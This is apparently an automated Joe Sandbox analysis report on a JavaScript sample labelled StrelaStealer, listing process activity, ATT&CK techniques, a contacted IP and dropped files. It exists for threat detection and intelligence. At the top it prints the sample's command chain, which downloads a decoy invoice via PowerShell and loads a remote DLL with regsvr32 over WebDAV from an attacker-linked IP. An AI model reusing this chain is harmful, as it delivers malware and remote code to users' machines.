Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
316517466273709266.js	7%	Virustotal		Browse
316517466273709266.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/h&	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sace	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3340407086.0000020039EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2110050673.000002003F400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/sace	net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/h&	net.exe, 00000007.00000002.2117789475.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2113133000.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117898872.000001F37070C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117789475.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2113133000.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107631748.000001F37070A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588866
Start date and time:	2025-01-11 06:28:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	316517466273709266.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 3.233.129.217, 52.149.20.212, 13.107.246.45, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:28:55	API Interceptor	24x Sleep call for process: powershell.exe modified
00:28:59	API Interceptor	1x Sleep call for process: net.exe modified
00:29:00	API Interceptor	2x Sleep call for process: svchost.exe modified
00:29:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306794995576224
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugB:gJjJGtpTq2yv1AuNZRY3diu8iBVqF7
MD5:	16B097B5F39507D97C7DCBB7AE70EDC4
SHA1:	2172A43038C9B7A5CF4052879F7BDC0B11DD1711
SHA-256:	0426BE3C308AD876CACA85AE1EC67B57050BD5DC0616BF97646539C8B1C68811
SHA-512:	7BCB5A5D517119965988AECAAE194427D92826A33ABDF19FF8B6D9FBFC1DC37004FE1F9F205320647D343082C7C020F24125EE26568EFE71AC26DF59C2BC072D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x35799367, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585028934713225
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	34EB1553F213CF6E3A7A6B0210CB4976
SHA1:	CEBC29A65524C361886EF18F8BC9F8D006C9C970
SHA-256:	44BC3B2852F610228DB95A9EC6C73DD9B83D164D1431D630B951B0CC23541577
SHA-512:	B7CD7522294BB36455EB3061557E58E8FE4734AAF5FA7C6F803FAE2831B4E2600669663B76FF8BFCBE6C3D353B7B12CC6BB7B74B6AB1C413AB755D0C79C48264
Malicious:	false
Preview:	5y.g... ...............X\...;...{......................0.z..........{.......}#.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................K.....}C..................A.......}C..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07965675134705713
Encrypted:	false
SSDEEP:	3:dl/KYeStNGuAJkhvekl1e9XAllrekGltll/SPj:/KzUNrxlmXAJe3l
MD5:	DFED8E1EC0E1B202F532D49301576F4E
SHA1:	A45B50D1225323146B1D7B9319B5D2B967313FD1
SHA-256:	54B14101A3254B7E9F81A9356277E4B2C5A3A479E32AB22CD378FD2438384BB2
SHA-512:	5627CBF89944D49E89FCA974EB4556FFFACBD5E12DCC9B4124D3AC9F6DFBC2D4863697D592BB89BDEBEE07B8AD8C8E18EA798465DFA58C91A9EEA6327A7651DE
Malicious:	false
Preview:	.......................................;...{.......}C......{...............{.......{...XL......{...................A.......}C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.116315659296906
Encrypted:	false
SSDEEP:	6:iOwvq2P92nKuAl9OmbnIFUtClZmwA3kwO92nKuAl9OmbjLJ:7wvv4HAahFUtCl/A35LHAaSJ
MD5:	35AD3780FBCD3A768BE06A4245786AB3
SHA1:	BC3566C40A76BFB3B424FA5AE72ED382EC9FA1BC
SHA-256:	6B58324E582B992E8BAA0191B7816D022796AD5F0EF2B792DA0531E8AC7931A1
SHA-512:	412B3C70661B4316BBC66EFA3634868E14E9149D4169A6D134D165BB249AEFCA783B91E2D109D5F4FBB206448A1A231E9AD8EE7C8BE0CE8C682630DF58830F5B
Malicious:	false
Preview:	2025/01/11-00:29:00.081 1134 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:29:00.084 1134 Recovering log #3.2025/01/11-00:29:00.084 1134 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.116315659296906
Encrypted:	false
SSDEEP:	6:iOwvq2P92nKuAl9OmbnIFUtClZmwA3kwO92nKuAl9OmbjLJ:7wvv4HAahFUtCl/A35LHAaSJ
MD5:	35AD3780FBCD3A768BE06A4245786AB3
SHA1:	BC3566C40A76BFB3B424FA5AE72ED382EC9FA1BC
SHA-256:	6B58324E582B992E8BAA0191B7816D022796AD5F0EF2B792DA0531E8AC7931A1
SHA-512:	412B3C70661B4316BBC66EFA3634868E14E9149D4169A6D134D165BB249AEFCA783B91E2D109D5F4FBB206448A1A231E9AD8EE7C8BE0CE8C682630DF58830F5B
Malicious:	false
Preview:	2025/01/11-00:29:00.081 1134 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:29:00.084 1134 Recovering log #3.2025/01/11-00:29:00.084 1134 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.136272301354009
Encrypted:	false
SSDEEP:	6:iOWFlL+q2P92nKuAl9Ombzo2jMGIFUt41ZmwGYLVkwO92nKuAl9Ombzo2jMmLJ:7WFIv4HAa8uFUt41/Gg5LHAa8RJ
MD5:	85790B1C902582976E79AB3642D1A5DD
SHA1:	76E0C0AAE382BB1CC47DF2B363C4041A5D96C5AC
SHA-256:	08E1C788433AC2EA606327DC04C9940201789BB6CFB516EF9C1EC5E6AD3B1FD5
SHA-512:	19AE10CC16BD05166AAA8D997EA96FFCFD2D71CAEE2802915111F901A6CA1D33330C55E8A0AA3AF21AEFE85E56FEBB4AD3FD3E1C676F0DBA2C67E5F805DAAE55
Malicious:	false
Preview:	2025/01/11-00:29:00.143 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:29:00.145 1c98 Recovering log #3.2025/01/11-00:29:00.146 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.136272301354009
Encrypted:	false
SSDEEP:	6:iOWFlL+q2P92nKuAl9Ombzo2jMGIFUt41ZmwGYLVkwO92nKuAl9Ombzo2jMmLJ:7WFIv4HAa8uFUt41/Gg5LHAa8RJ
MD5:	85790B1C902582976E79AB3642D1A5DD
SHA1:	76E0C0AAE382BB1CC47DF2B363C4041A5D96C5AC
SHA-256:	08E1C788433AC2EA606327DC04C9940201789BB6CFB516EF9C1EC5E6AD3B1FD5
SHA-512:	19AE10CC16BD05166AAA8D997EA96FFCFD2D71CAEE2802915111F901A6CA1D33330C55E8A0AA3AF21AEFE85E56FEBB4AD3FD3E1C676F0DBA2C67E5F805DAAE55
Malicious:	false
Preview:	2025/01/11-00:29:00.143 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:29:00.145 1c98 Recovering log #3.2025/01/11-00:29:00.146 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e64ec55-790f-4bf7-bde3-f1955105b556.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.040710776536715
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHMVksBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRds7dMHp3QYhbxP7nbI+
MD5:	18C95F0C238C5A0F800CFA5D149057D2
SHA1:	3575563A1FFEF663C35B0DB3DEE0D5AC8E91C91A
SHA-256:	1AF6DB1421490B1D8DE1E0A5452B88D1172061E07A062D0E28F15ECD14DEB445
SHA-512:	5CEA9D5850DF8149AF504B234D7ED382E7EDA3B4873061A65AFDA3044156363ADABB94290AD5115EB045495BD4877E4F0AFAB31135321340243A6C6F97F59C02
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133351816297","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133652},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.040710776536715
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHMVksBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRds7dMHp3QYhbxP7nbI+
MD5:	18C95F0C238C5A0F800CFA5D149057D2
SHA1:	3575563A1FFEF663C35B0DB3DEE0D5AC8E91C91A
SHA-256:	1AF6DB1421490B1D8DE1E0A5452B88D1172061E07A062D0E28F15ECD14DEB445
SHA-512:	5CEA9D5850DF8149AF504B234D7ED382E7EDA3B4873061A65AFDA3044156363ADABB94290AD5115EB045495BD4877E4F0AFAB31135321340243A6C6F97F59C02
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133351816297","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133652},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233188361220572
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUfH0yh/7:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLu
MD5:	FB78391B7B5A4D359F1910BA87C617B7
SHA1:	E33032E533DEB5DBDC25822DF40893A1C6304010
SHA-256:	62C0B6DCDFEDECA1DB031AAF0A1FD54C2FA8916C1EC603C4DC724941AC194DB2
SHA-512:	4AED94B5910B1A8484086443331BC2B71074F44EED2106BD7AB707C591C6BCCB0DB3F4C88ADCA7E02FFE89373E9707612DC8E4710C43A096A0633C92803CEE1D
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1516110142268525
Encrypted:	false
SSDEEP:	6:iOUL+q2P92nKuAl9OmbzNMxIFUto1ZmwSdSHlLVkwO92nKuAl9OmbzNMFLJ:7Jv4HAa8jFUto1/jT5LHAa84J
MD5:	13E82F5E16D9E94191E77CB2460EAADE
SHA1:	7AE500C8A9D23393E7BF81EDA51477379397B4D8
SHA-256:	1C89F312FF8E27845271DD331C2FD9140C2BC08F53ED5E925C508DC4E32CD7C6
SHA-512:	A9D551CB98CF9CE01EF37A3331C4A10C91C6E7D7F6891B39E845E64D1E61FF97526E8BEB58785933AB6765CEAA51090924A024A238519B6203E731CA7189C78D
Malicious:	false
Preview:	2025/01/11-00:29:00.462 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:29:00.484 1c98 Recovering log #3.2025/01/11-00:29:00.498 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1516110142268525
Encrypted:	false
SSDEEP:	6:iOUL+q2P92nKuAl9OmbzNMxIFUto1ZmwSdSHlLVkwO92nKuAl9OmbzNMFLJ:7Jv4HAa8jFUto1/jT5LHAa84J
MD5:	13E82F5E16D9E94191E77CB2460EAADE
SHA1:	7AE500C8A9D23393E7BF81EDA51477379397B4D8
SHA-256:	1C89F312FF8E27845271DD331C2FD9140C2BC08F53ED5E925C508DC4E32CD7C6
SHA-512:	A9D551CB98CF9CE01EF37A3331C4A10C91C6E7D7F6891B39E845E64D1E61FF97526E8BEB58785933AB6765CEAA51090924A024A238519B6203E731CA7189C78D
Malicious:	false
Preview:	2025/01/11-00:29:00.462 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:29:00.484 1c98 Recovering log #3.2025/01/11-00:29:00.498 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

